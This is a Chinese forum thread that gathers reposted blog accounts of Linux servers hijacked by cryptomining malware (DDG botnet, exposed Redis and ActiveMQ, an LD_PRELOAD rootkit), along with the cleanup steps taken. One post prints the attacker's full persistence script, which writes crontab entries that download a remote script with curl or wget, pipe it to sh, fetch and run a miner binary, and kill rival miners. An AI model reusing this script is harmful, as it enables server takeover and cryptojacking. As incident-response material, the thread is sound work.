关于LINUX系统安全专题----恶意挖矿程序占满linux服务器cpu
内网服务器被控，外联大量动态IP 境外IP 7946 、7947端口https://x.threatbook.cn/vb4/getUserImg?t=anonymous 匿名用户2019-01-17 09:50:32 2682人浏览
谁知道这个端口是干嘛的，被控的服务器异常表现在外联，下脚本 定时启动、对内网其它IP地址22端口暴破同时也外联7946 7947端口 这个行为暂时看不懂https://x.threatbook.cn/vb4/getThreatImg/5ea08d082dc477e59d8677a0686416b8d1ae1938c5197fb95167ced20637b279.png
https://x.threatbook.cn/vb4/getThreatImg/cfb39de2108141188c2b585c3f2218b2b3c25f83f8ab50f3cfcc950f92eb00ba.png
相关链接 ：
威胁指标（IOC） 配置安全DNS，自动拦截恶意域名 >
下载IOC表格
ip地址(2)威胁情报数目开放端口所属域名相关样本微步标签< 1/1 >
45.77.166.7720000
140.143.20.203126011
5
评论 4发表评论
https://x.threatbook.cn/vb4/getUserImg?t=anonymous 匿名用户
2019-01-21 09:37:23回复
45.77.166.77是DDG僵尸网络的一个存放恶意脚本及文件的服务器
形式就是22端口暴破，成功后立刻连接设置好的服务器进行下载定时脚本及恶意文件（包含挖矿组件下载地址及矿池相关地址）
https://x.threatbook.cn/vb4/getUserImg?t=anonymous 匿名用户
2019-01-17 14:38:20回复
应该是Linux的挖矿病毒样本
https://x.threatbook.cn/vb4/getUserImg?t=anonymous 匿名用户
2019-01-21 09:35:23回复
最后分析出是较新版本的DDG僵尸网络 根据恶意文件路径 应该是3016版本
https://x.threatbook.cn/vb4/getUserImg?t=anonymous 匿名用户
2019-01-17 13:05:32回复
图片看不到
匿名
bitcoin:9332, litecoin:9327
3333、3334、8888、8332、8333、20581
常见挖矿端口 回复 2# network
记一次服务器被挖矿经历与解决办法
在最近的某一天里面，中午的一个小息过后，突然手机的邮件和公众号监控zabbix的告警多了起来。我拿起手机一看原来是某台服务器上的CPU跑满了，就开始登上去看一下是哪个脚本导致负荷高的（在期间使用top -d 1命令查看负荷占用情况）。可以静下来想了下，中午大家都在休息不应该CPU负载会这么高的，心里想80%是服务器被黑了。https://s1.51cto.com/images/blog/201807/31/afddfaefc66d0f4596c25156b8164203.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=后来发现是/tmp/ddgs.3013和/tmp/qW3xT.2这两个文件跑满了服务器CPU，后来决定先kill掉文件PID和删除/tmp目录下的文件，发现一删除就自动创建上了，怎么删除也不能解决掉。经过一系列的查找问题之后发现了crontab上把以前配置都覆盖掉了加上了一条（/5 * wget -q -O- http://165.225.157.157:8000/i.sh | sh）下载一个脚本的命令，但是第一时间就想到服务器被黑了。因为第一次遇见的原因当时心里“小鹿乱转”，后来查了点资料和问了一些同行才知道原来服务器被挖矿了，在度娘里面搜索到的很吓人。https://s1.51cto.com/images/blog/201807/31/f4f1e27d4ad8db33e3cd91cbb5c14391.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
既然已经知道了是被什么gongji（51这也算是敏感字？？）的了，也排查到它是经过扫描到我redis端口来黑的，那就对症下药吧！[*]先在防火墙上设置redis端口限制在内网
https://s1.51cto.com/images/blog/201807/31/0a74ffc031cec1f891db6197fce654a6.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=[*]在排查下redis是否有设置密码[*]
vim/usr/local/redis/redis.conf
[*]
requirepass yourpassword
[*]清除crontab的配置[*]
echo > /var/spool/cron/root
[*]
# 或者
[*]
systemctl stop crond
[*]kill掉占用CPU高的两个文件[*]
ps -ef | grep /tmp/ddgs.3013 | awk '{print $2}' | xargs kill -9
[*]
ps -ef | grep /tmp/qW3xT.2 | awk '{print $2}' | xargs kill -9
[*]最后一步删除/tmp目录下两个文件[*]
rm -rf /tmp/ddgs.3013
[*]
rm -rf /tmp/qW3xT.2
慢慢负载才降了下来，真的是心惊胆战啊，睡个觉就出现被挖矿的问题！后来回想了一下出现这种问题不外乎两种[*]1、把redis端口暴露在外网[*]2、redis没设置密码（因为本人是测试环境，偷了下懒没设置密码）本人很不才两种错误都犯了，也特此提醒自己以后这种错误别在犯了。最后提供上这个脚本的具体内容：[*]
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
[*]
[*]
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
[*]
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
[*]
mkdir -p /var/spool/cron/crontabs
[*]
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
[*]
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
[*]
[*]
ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
[*]
if [ ! -f "/tmp/ddgs.3011" ]; then
[*]
curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
[*]
fi
[*]
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
[*]
[*]
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
[*]
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
[*]
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
[*]
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
[*]
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
[*]
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
转载于:https://blog.51cto.com/legehappy/2152838 回复 3# network
服务器成挖矿工具了怎么办？记一次解决经历！macrozheng 2020-11-26
以下文章来源于烟雨星空 ，作者烟雨星空http://wx.qlogo.cn/mmhead/Q3auHgzwzM4qFbbbNc1iaKnoBBI6epWv5kbT6f5MYIiadelqwmhrKS6g/0
烟雨星空快乐学 Java ~
前言服务器好端端的竟然中了挖矿病毒！！！可怜我那 1 核 2 G 的服务器，又弱又小，却还免除不了被拉去当矿工的命运，实在是惨啊惨。事情原来是这样的。。。就在今天下午，我准备登陆自己的远程服务器搞点东西的时候，突然发现 ssh 登陆不上了。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKIbibiaatE9zRiawNxuoWIsUMibYqPKLFegEBkRicHBiaIuInmPKmHKuUHvHiag/640?wx_fmt=png如上，提示被拒绝。这个问题很明显就是服务器没有我的公钥，或者不识别我的公钥，然后拒绝登录。这就很难办了，我确定我的公钥是一直没有变动过的，不应该会出现这种情况啊。还有让我头疼的是，我当初为了安全起见，设置过此台服务器只能通过 ssh 的方式免密登录。而且禁止了密码直接登录，这样也防止了别人通过破解我的密码而登录服务器。当前，只有我这个 mac 还有家里的 win 两台电脑有 ssh 权限。（其实，当时我也想到了这种情况，就怕万一有一天某台电脑登录不上，另外一台还能做备选。嘿嘿，我是不是很机智！）那么，目前的解决办法，就是要么等着下班回家，用另外一个电脑操作，把当前这个电脑的公钥加到服务器的authorized_keys 文件里。要么，就只能把服务器重装了。但是，好奇心驱使我去探究一下，到底是什么原因导致了服务器连接不上，而不是直接重装服务器。那样的话，就太没意思了。
通过 VNC 方式登录服务器因为我用的是腾讯云服务器嘛，于是，就登录到了腾讯云的控制台，想看一下是否还有其它“走后门”的方式，让我绕过 ssh 或者不受密码登录的限制。没想到，还真的有方法。如下图，可以通过 VNC 的方式进去，然后输入账号密码就可以直接登录，不受限制。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKIuZibDYcicYZYicm73WlNUSyOIWKT7jL15uLlPptFnvwhicz2N579XdmFtQ/640?wx_fmt=png可以看到已经进入服务器了。上一次登录时间是昨天下午，这个时间点没错。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKIH0ZDfmtCTE6o4QYGk8bb64H9JXsMbKYNRBrDqYRbskiciaQ7un08ic4Lg/640?wx_fmt=png
发现问题当然，正常来讲，我应该先去 authorized_keys 文件检查一下我的公钥是否有问题。但是，习惯性的操作让我 top 了一下，却发现了另外一个问题。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKIontg2xibOzT1dx4GaRlpxdCSqO3EY4UIotJ3QccTSIicnrqhqgYfNJFw/640?wx_fmt=png等等，这是什么鬼！有一个 sysupdate 进程占用了 CPU 51.2%，另外还有一个进程 networkservice 占用了 47.8% 。这两个加起来，就已经占用了 99% 了。实际上，在腾讯云后台也能监控到服务器的实时状况。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKILvPT2JX8npF0shRWCKeLr4yPMEoyGbLB0JTCxuaicYs43P3TYTG2fpw/640?wx_fmt=png很明显，这两个进程是比较异常的。而且，之前也没有见过这种名字。于是，习惯性的，我就在网上搜了一下 sysupdate。直接，就出来了一堆结果，挖矿病毒。我去，听这名字，难不成就是传说中的比特币挖矿？不管那么多了，先解决当前的问题吧。
解决问题1、确认病毒位置先通过 systemctl status {进程号} 查看一下它的状态信息，以及有没有相关联的进程。以sysupdate 进程号 16142为例。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKICKnQ1p7nicyUGH3AnsbNV278fzmkzaib5EjvxPTM1T5EyQnr3LZtIQjA/640?wx_fmt=png可以发现它是从昨天晚上九点开始运行起来的。怪不得，昨天下午下班前还能用，今天就不能用了。还可以通过 ls -l proc/{进程号}/exe 命令查看它具体的位置。最后发现都在 /etc 目录下。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKI58gxNlPx6rS1mVYuWGRKpoXOGRoias7b6eNHYibQh8TrFWtwbeGSWY0Q/640?wx_fmt=png如上图，这五个都是“挖矿病毒所用到的文件”。哼哼，从颜色上就能看出来他们是一伙的。然而，我并没有着急把它们清除掉，却突然脑子一抽，想研究一下它们的脚本。因为我看到有一个 update.sh ，里边肯定写了一些病毒执行相关的命令。我把他们全部都复制到了我自己的目录下 /root/test/。然后打开了 update.sh 脚本，看里边写了些什么。我估计，能看着服务器都被病毒攻击了，还有闲情研究人家是怎么制作病毒的，我是第一个吧。。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKI5bq74v5iaMCN1bqOc2kbibiaF4DlZO9AHXx8tI4b8QzcPMVB4UncuSLAQ/640?wx_fmt=png虽然菜鸡我对 linux 不熟，但是大概可以看出来一些东西，如SELINUX 系统被关闭了，我的 authorized_keys 文件也被改动了，竟然无耻的还把 wget、curl 等命令改了名字。下边，还可以看到病毒脚本的网络路径。难不成是从这个地址下载下来的？2、删除定时任务看一下有没有定时任务，因为有可能它会跑一个定时任务，定时的执行脚本，生成病毒文件和进程等。可以进入 /var/spool/cron/ 目录查看定时任务。也可以通过 crontab -l查看。没想到却都没有发现。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKIetDJalgNpBOYXZ4nOHSs7k2s3mC93HjpBOvyxHXZGpKKyv3wvg1CRQ/640?wx_fmt=png**如果有的话，**删除 /var/spoool/cron/目录下的所有文件。或者执行crontab -r命令，清空任务列表。3、杀掉进程，删除病毒文件用 kill -9 {进程号} 把上边的两个进程都杀掉，然后删除 /etc 目录下的那五个文件。注意删除文件时，直接用普通的 rm -rf 不能行。因为病毒文件被锁定了，需要通过 chattr -i {文件名} 解锁之后，再删除。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKI0uicvWHDkBHBBMHmevFwX9musPKynGmOo8ibjjAmn3fWjho69hltSeGw/640?wx_fmt=png4、删除 authorized_keys 文件这个文件里记录了可以通过 ssh 免密登录的所有终端的公钥。路径在 ~/.ssh/authorized_keys 。通过 vi 命令打开。https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKIhtISmsZxJ9YcOrC6CRnBJK70h38qEAP4U9skhKGIDnpqlhvwW9icFtw/640?wx_fmt=png可以看到文件里已经被改动了，多了两个未知的公钥，这肯定就是攻击者的公钥。前面的三个都是我自己的公钥。可以直接删除此文件，等稍后再修复为自己的公钥。5、恢复 wget 和 curl 命令从 update.sh 文件中可以看到这两个命令名称被改了，对于习惯了这样使用的人来说肯定不爽，那就改回来就好了。如下为可选的的命令。我这里就需要前两行就行了，因为 which cur 之后发现，只存在 /bin下，/usr/bin/不存在https://mmbiz.qpic.cn/mmbiz_png/gsoYRA2HIgsLnkGCgFtVcURwC0ibq6rKIK16utRnBBBHBRMQ0KdWRapnc5WHrpkeAiap16xHpcicFB8hr0FthWWXw/640?wx_fmt=pngmv /bin/wge /bin/wget
mv /bin/cur /bin/curl
mv /usr/bin/wge /usr/bin/wget
mv /usr/bin/cur /usr/bin/curl
6、修复 SELINUXSELinux 是 linux 的一个安全子系统。可以通过命令 getenforce 查看服务状态。其实从 update.sh 文件中也可以看到此服务被关闭了。修改 /etc/selinux/config 文件，将 SELINUX=disabled 修改为 SELINUX=enforcing。修改完成后，需要重启服务器才能生效。
找到原因其实，以上步骤搞完，还差一步。你总不能被攻击的不明不白吧，为什么别人会攻击到你的服务器呢。后来，从网上找到了一篇介绍，说：挖矿病毒，利用Redis的未授权访问漏洞进行攻击。Redis 默认配置为6379端口无密码访问，如果redis以root用户启动，攻击者可以通过公网直接链接redis，向root账户写入SSH公钥文件，以此获取服务器权限注入病毒我去，看完之后，感觉这个描述简直不能太准了。因为，昨天下午，我就是因为要测试通过 redis 的 zset 来实现延时队列的一个功能。用本地代码连接了服务器的 redis 。当时就在防火墙中把 6379 端口打开了。谁曾想，一晚上的功夫，就被人家攻击了。我想，挖矿人肯定也是找大量的机器来实验，看能否通过这些漏洞（肯定不限于只有 redis），操纵对方的服务器。于是，我就幸运的成为了那个倒霉蛋。最后，我粗暴的把 redis 服务关了，并且去掉了 6379 的端口。额，其实有更温柔的方案可选，比如更改 redis 的默认端口号，或者给 redis 添加密码。
最后感觉整篇下来，好像除了知道 redis 的这个漏洞外，就没有其他收获了。主要是，我的安全意识还是比较薄弱吧。毕竟，服务器只是拿来玩玩用的。最后实在不行也可以重装系统，完事又是一条好汉。公司的服务器肯定不会这样的，都有专门的运维人员来做这些安全工作。如果是线上服务器被人家拉去挖矿，好歹能拿我这篇文章吹牛逼了。。。 回复 4# network
记一次苦逼的服务器被挖矿的清除过程
https://csdnimg.cn/release/blogv2/dist/pc/img/original.pngbobpen 2017-02-21 13:15:02 https://csdnimg.cn/release/blogv2/dist/pc/img/articleReadEyes.png 21518 https://csdnimg.cn/release/blogv2/dist/pc/img/tobarCollect.png 收藏 4
分类专栏： linux
版权
环境说明Centos 6.2
现象描述 通过top查看服务器资源，cpu资源几乎被占尽，但是top list里面却没有显示出是哪个进程占用的资源
https://img-blog.csdn.net/20170221103147924?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYm9icGVu/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center
而且系统会提示以下信息
https://img-blog.csdn.net/20170221103431759?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYm9icGVu/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center
通过关键字查询miner & crytonight，得知服务器被而已挖矿了
解决办法1.linux进入single模式
进入single模式后，我们通过top查看服务器资源使用情况，cpu使用率为0，说明挖矿恶意软件没有启动
https://img-blog.csdn.net/20170221103903770?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYm9icGVu/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center
2.在single模式下，启动网卡，启动网卡后，miner就马上去启动
https://img-blog.csdn.net/20170221104053096?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYm9icGVu/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center
3.可能network文件有异常，该服务器的network文件与其他正常服务器的network进行对比，发现该服务器的network文件中多出/usr/bin/systemd-network执行文件
https://img-blog.csdn.net/20170221131059621?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYm9icGVu/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center
4.更换network文件，使用正常服务器中的network文件
5.删除/usr/bin/systemd-network文件
6.重启服务器，服务器启动后，各项资源正常
https://img-blog.csdn.net/20170221131445040?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYm9icGVu/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center
回复 5# network
记一次服务器被植入挖矿木马cpu飙升200%解决过程
2019-12-02 08:30
来自：开源中国，作者：我叫刘半仙链接：https://my.oschina.net/liughDevelop/blog/1786631“某日，正在午休中，突然一则噩耗从前线传来：网站不能访问了！此项目是我负责，线上服务器用的是某讯云的，运行着 Tomcat，MySQL，MongoDB，ActiveMQ 等程序。排查过程我以 150+ 的手速立即打开了服务器，看到 Tomcat 挂了，然后顺其自然的重启，启动过程中直接被 killed，再试试数据库，同样没成功，多次尝试甚至重启机器无果。机智的我打了个 Top，出现以下内容：http://5b0988e595225.cdn.sohucs.com/images/20191202/bb95cd9d323a4282b6ce1fa450050d7e.jpeg这是谁运行的程序？不管三七二十一先杀掉再说，因为它就是 Tomcat 等程序启动不了的元凶。然而并没有什么卵用，过一会再看那个东西又跑出来占 CPU。怀疑是个定时任务：什么鬼，是个图片？立即访问了一下：http://5b0988e595225.cdn.sohucs.com/images/20191202/d7037404ccf242d087f8ac072bd779f8.png好尴尬，但是心思细腻的我早知道没这么简单，肯定只是伪装，crul 过去是下面的脚本，过程就是在挖矿：http://5b0988e595225.cdn.sohucs.com/images/20191202/ab0602f74b4d4ddbbb9a3227a79426cf.jpeg有兴趣的同学想查看以上完整源代码，命令行运行下面指令（不分操作系统，方便安全无污染）：既然知道它是个定时任务，那就先取消了它，并且看看它是谁在运行：http://5b0988e595225.cdn.sohucs.com/images/20191202/390d1909ba884db89243f064f3ef9f4e.png杀掉，找到存放目录：http://5b0988e595225.cdn.sohucs.com/images/20191202/5eaa08fd6d2d4046af2b75f09362070a.png进入临时目录：http://5b0988e595225.cdn.sohucs.com/images/20191202/41b34b0309b84843bf1f8f5e82d92e05.png被我发现配置文件了，先来看看内容：http://5b0988e595225.cdn.sohucs.com/images/20191202/b01e7970b41f496da73d1b8fcc16f3fe.jpeg虎躯一震，发现了不少信息啊，User 是他的 Server 的登录用户,下面是密码，只可惜加密过，应该找不到对方。算了，大度的我先不和你计较。干掉这两个文件后再查看 Top：http://5b0988e595225.cdn.sohucs.com/images/20191202/9370270140c34b8987bcd767a26e8bda.png解决办法找到寄生的目录，一般都会在 tmp 里，我这个是在 /var/tmp/。首先把 crontab 干掉，杀掉进程，再删除产生的文件。启动 Tomcat 等程序，大功告成！等等，这远远不够，考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了，修复漏洞才对，不然你杀掉进程删掉文件后，黑客后门进来 history 一敲，都知道你做了啥修复手段。所以上面办法治标不治本，我后续做了以下工作：[*]把所有软件升级到新版本。[*]修改所有软件默认端口号。[*]打开 ssh/authorized_keys，删除不认识的密钥。[*]删除用户列表中陌生的帐号。[*]封了他的 ip。[*]SSH 使用密钥登录并禁止口令登录（这个一般是加运维一个人的秘钥）。对了，本次遭受攻击是低版本 ActiveMQ 开放端口 61616 有漏洞，大家记得做优化。遇到挖矿木马最好的解决方式：将主机镜像、找出病毒木马、分析入侵原因、检查业务程序、重装系统、修复漏洞、再重新部署系统。写在最后网友提供的一劳永逸终极解决办法：把你自己的挖矿脚本挂上去运行，这样别人就算挂脚本也跑不起来了。 回复 6# network
记几次被恶意挖矿程序占满linux服务器cpu的经历
https://csdnimg.cn/release/blogv2/dist/pc/img/reprint.png服务器运维 2020-07-13 09:58:02 https://csdnimg.cn/release/blogv2/dist/pc/img/articleReadEyes.png 275 https://csdnimg.cn/release/blogv2/dist/pc/img/tobarCollect.png 收藏
分类专栏： Linux 文章标签： linux
版权
过程一：1. 发现cup爆满
当我部署项目时启动不了，tomcat启动不了，然后我发现cup爆满，然后查看用top查看进程https://img-blog.csdn.net/20180326115717384然后我再查看pstree进程树https://img-blog.csdn.net/201803261159103362.杀死进程
kill -9pid杀死进程suppoie 进程后，过一分钟该进程又起来了3. 查找源文件
杀死进程又起来，肯定是有源文件在远程调用其他远程文件植入病毒，查询源文件find/ -name '*suppoie*'查找到了文件 在 /var/tmp 目录下如下图https://img-blog.csdn.net/20180326131336595然后删除 suppoie , supsplk，config.json 文件然后过了一会suppoie进程又起来了，那说明上面删除的文件是生成的文件，不是源文件然后查看abrt文件夹下的文件内容https://img-blog.csdn.net/20180326131639150说明是远程下载图片sh脚本执行的，所以找到了罪魁祸首，杀死进程，删除这个文件，搞定了，再也没有suppoie进程了我们的服务器被别人当成挖矿的肉鸡了
过程二：看下定时任务,这主要是在top命名里面，我看到占用cpu最多的并始终保持在98%以上的程序是cron，那就找呗crontab -e#这个定时脚本里面一般恶意脚本不会在这里[*]
crontab -e#这个定时脚本里面一般恶意脚本不会在这里
[*]
[*]
cd /var/spool/cron #有很多脚本都会在这里
cd /var/spool/cron #有很多脚本都会在这里
果然是在/var/spool/cron下面，有一个仿造的mysql文件https://img-blog.csdnimg.cn/20200316113343374.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA3NzI4ODI=,size_16,color_FFFFFF,t_70在这个里面发现了定时脚本* * * * * /home/mysql/.bashtemprc/a/upd>/dev/null 2>&1
@reboot /home/mysql/.bashtemprc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/mysql/.bashtemprc/b/sync>/dev/null 2>&1
@reboot /home/mysql/.bashtemprc/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X21-unix/.rsync/c/aptitude>/dev/null 2>&1<一般这个情况的定时任务都不正常。正常的定时任务，例如宝塔上添加的：10 1 * * 5 /www/server/cron/11606daf741e6e1d62d574e8cabd963d >> /www/server/cron/11606daf741e6e1d62d574e8cabd963d.log 2>&1
30 1 * * 5 /www/server/cron/b998837571afa5e37d76e692706dce55 >> /www/server/cron/b998837571afa5e37d76e692706dce55.log 2>&1>确定好位置之后，挨个看它们还有没有引用其他的程序，然后全部删除将cron所占的pid kill掉，接下来应该没问题了果然cpu正常了
过程三：问题描述云服务器 ECS Linux 服务器上 CPU 使用率超过 70%，严重时可达到 100%，或者服务器响应越来越慢。原因分析恶意 minerd、tplink 进程在服务器上运行 top 命令，结果如下：https://imgconvert.csdnimg.cn/aHR0cDovL2RvY3MtYWxpeXVuLmNuLWhhbmd6aG91Lm9zcy5hbGl5dW4taW5jLmNvbS9hc3NldHMvcGljLzQxMjA2L2NuX3poLzE1MTE1MTIyNjUyNDkvSW1hZ2UlMjAxLnBuZw?x-oss-process=image/format,png可以看到，有一个 minerd （或 tplink）的异常进程，占用了大量 CPU 资源。该进程是服务器被入侵后，被恶意安装的比特币挖矿程序，一般存在于 /tmp/ 目录下。如果使用 top 命令查看不到所述进程，可以用 ps 命令检查相关进程。例如，https://imgconvert.csdnimg.cn/aHR0cDovL2RvY3MtYWxpeXVuLmNuLWhhbmd6aG91Lm9zcy5hbGl5dW4taW5jLmNvbS9hc3NldHMvcGljLzQxMjA2L2NuX3poLzE1MTE1MTI1MjU5NjIvSW1hZ2UlMjAyLnBuZw?x-oss-process=image/format,png可以看到，服务器中存在这个进程。如果它不是您主动开启的，则很可能是被入侵所致。服务器被恶意利用来挖比特币。隐藏的恶意模块黑客通过驱动 rootkit 程序入侵主机，并部署隐藏挖矿程序，CPU 使用率可能达到 90-100%。该场景无法通过 top 命令和 ps 命令来检测确认。处理方案恶意 minerd、tplink 进程[*]使用如下命令，通过 PID 获取对应文件的路径。然后，找到并删除对应的文件。[*]ls -l /proc/$PID/exe
[*]其中，$PID 为进程对应的 PID 号，可以通过 ps 或者 top 获取。[*]使用 kill 命令关闭进程。[*]建议您平时增强服务器的安全维护，优化代码，以避免因程序漏洞等导致服务器被入侵。隐藏的恶意模块被隐藏的恶意模块一般有：raid.ko、iptable_mac.ko、snd_pcs.ko、usb_pcs.ko 和 ipv6_kac.ko。您可以使用 file /lib/udev/usb_control/... 命令，分别检查是否存在以上模块。例如，使用以下命令查看是否存在 iptable_mac.ko 模块：file /lib/udev/usb_control/iptable_mac.ko结果如下图所示，表明存在隐藏的 iptable_mac.ko 模块。https://imgconvert.csdnimg.cn/aHR0cDovL2RvY3MtYWxpeXVuLmNuLWhhbmd6aG91Lm9zcy5hbGl5dW4taW5jLmNvbS9hc3NldHMvcGljLzQxMjA2L2NuX3poLzE0ODk0ODQ3NzY0MTAvJUU3JUIyJTk4JUU4JUI0JUI0JUU1JTlCJUJFJUU3JTg5JTg3LnBuZw?x-oss-process=image/format,png 回复 7# network
解析近期爆发的服务器挖矿病毒原理
https://csdnimg.cn/release/blogv2/dist/pc/img/original.pngCain Yang 2019-02-25 18:14:39 https://csdnimg.cn/release/blogv2/dist/pc/img/articleReadEyes.png 7960 https://csdnimg.cn/release/blogv2/dist/pc/img/tobarCollect.png 收藏 8
分类专栏： 计算机理论 文章标签： 病毒解析 计算机理论
版权
事情起因：同事解决服务器中挖矿病毒的过程可以看到，病毒的主要起因是利用了Linux预加载型恶意动态链接库的后门，关于Linux预加载的知识可以参考这一篇文章：警惕利用Linux预加载型恶意动态链接库的后门
一、准备工作我们导出病毒文件 libioset.so ，然后利用 IDA 反编译该 so 文件，得到如下图的函数列表：https://img-blog.csdnimg.cn/20190225161938861.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1lvdW5nQ2Fpbg==,size_16,color_FFFFFF,t_70可以看到，里面有许多我们熟悉的库函数，例如 fopen(),stat() 之类的。
二、病毒的自我保护同事提到过当初排查的时候用 ls 命令并没有查看得到 ld.so.preload 和 libioset.so 文件，这是为什么呢？让我们来看一下 ls 的源代码，首先执行命令 which ls :https://img-blog.csdnimg.cn/2019022516392840.PNG可以看到 ls 命令在 /bin/ls 下(ubuntu系统），然后执行命令 dpkg -S /bin/ls ：https://img-blog.csdnimg.cn/20190225164202397.PNG这个结果代表的意思是 ls 命令在 coreutils 包中，接下来我的做法是到GNU的官方网站 www.gnu.org 去下载 coreutils 包然后用source insight 打开，找到 ls.c 文件，分析该文件可以发现，ls 命令主要是通过调用 stat 函数来获取文件的相关信息：https://img-blog.csdnimg.cn/20190225164602725.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1lvdW5nQ2Fpbg==,size_16,color_FFFFFF,t_70但是前面可以看到，stat 函数已经被病毒恶意修改了，我们来看看 stat 函数的内容：https://img-blog.csdnimg.cn/20190225164816115.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1lvdW5nQ2Fpbg==,size_16,color_FFFFFF,t_70可以看到，病毒作者很奸诈，当文件名等于 libioset.so，ld.so.preload，ksoftirqds 时并不会执行原来的 stat 函数，而是直接返回 0xFFFFFFFF，这也就是为什么执行 ls 命令并不能看到病毒文件的原因。观察其他被覆写的函数可以发现基本上都是类似的操作，如果文件名不是上面三个就执行原来的操作，如果是的话就直接返回无效值。同事反应的 netstat 命令也无效了，所以分析一下 netstat 为何无效。通过同样的操作查找到 netstat 所属包是 net-tools，但是GNU上并没有 net-tools 包，搜索发现该包属于单独的项目，下载下来后分析，该函数会读取 /proc/net/tcp 文件：https://img-blog.csdnimg.cn/20190225180504325.PNG观察病毒链接库里的 fopen 函数，可以看到对 tcp, tcp6 和 stat 文件进行了特殊处理：https://img-blog.csdnimg.cn/20190225180855315.PNG而 forge_proc_net_tcp 和 forge_proc_cpu 覆写了文件已达到伪造的目的(函数前缀是 forge， - -！)：cpu:https://img-blog.csdnimg.cn/20190225181158531.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1lvdW5nQ2Fpbg==,size_16,color_FFFFFF,t_70tcp:https://img-blog.csdnimg.cn/20190225181216929.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1lvdW5nQ2Fpbg==,size_16,color_FFFFFF,t_70病毒自我保护的方法就是如此，覆盖原有的库函数，将对自己的操作过滤，以到达保护的目的。
